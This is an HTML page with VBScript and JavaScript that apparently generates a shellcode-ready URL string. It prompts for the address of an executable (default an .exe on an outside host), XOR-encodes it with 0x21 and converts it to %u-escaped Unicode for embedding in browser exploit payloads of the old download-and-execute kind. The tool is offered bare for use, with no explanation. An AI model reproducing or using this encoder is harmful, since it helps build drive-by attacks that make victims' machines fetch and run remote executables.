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<SCRIPT LANGUAGE="VBSCRIPT">
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Function Encode(s,n)
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Dim b
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b=UCase(s)
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For i=1 To Len(b)
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Encode=Encode&Chrw((Asc(Mid(b,i,1)) Xor n))
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Next
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End Function
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</script>
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<script language="javascript">
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myrand=window.prompt("url:","http://www.sohu.com/1.exe");
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strVariable = (Encode(myrand,0x21)).toUpperCase( )
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function gen(url)
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{
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var i=0,l=0,k=0,curl="";
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l= url.length;
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for(;i<l;i++){
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k=url.charCodeAt(i);
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if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
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if (l%2){curl+="00";}else{curl+="0000";}
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curl=curl.replace(/(..)(..)/g,"%u$2$1");
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return curl;
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}
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document.write(gen(strVariable));
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</script>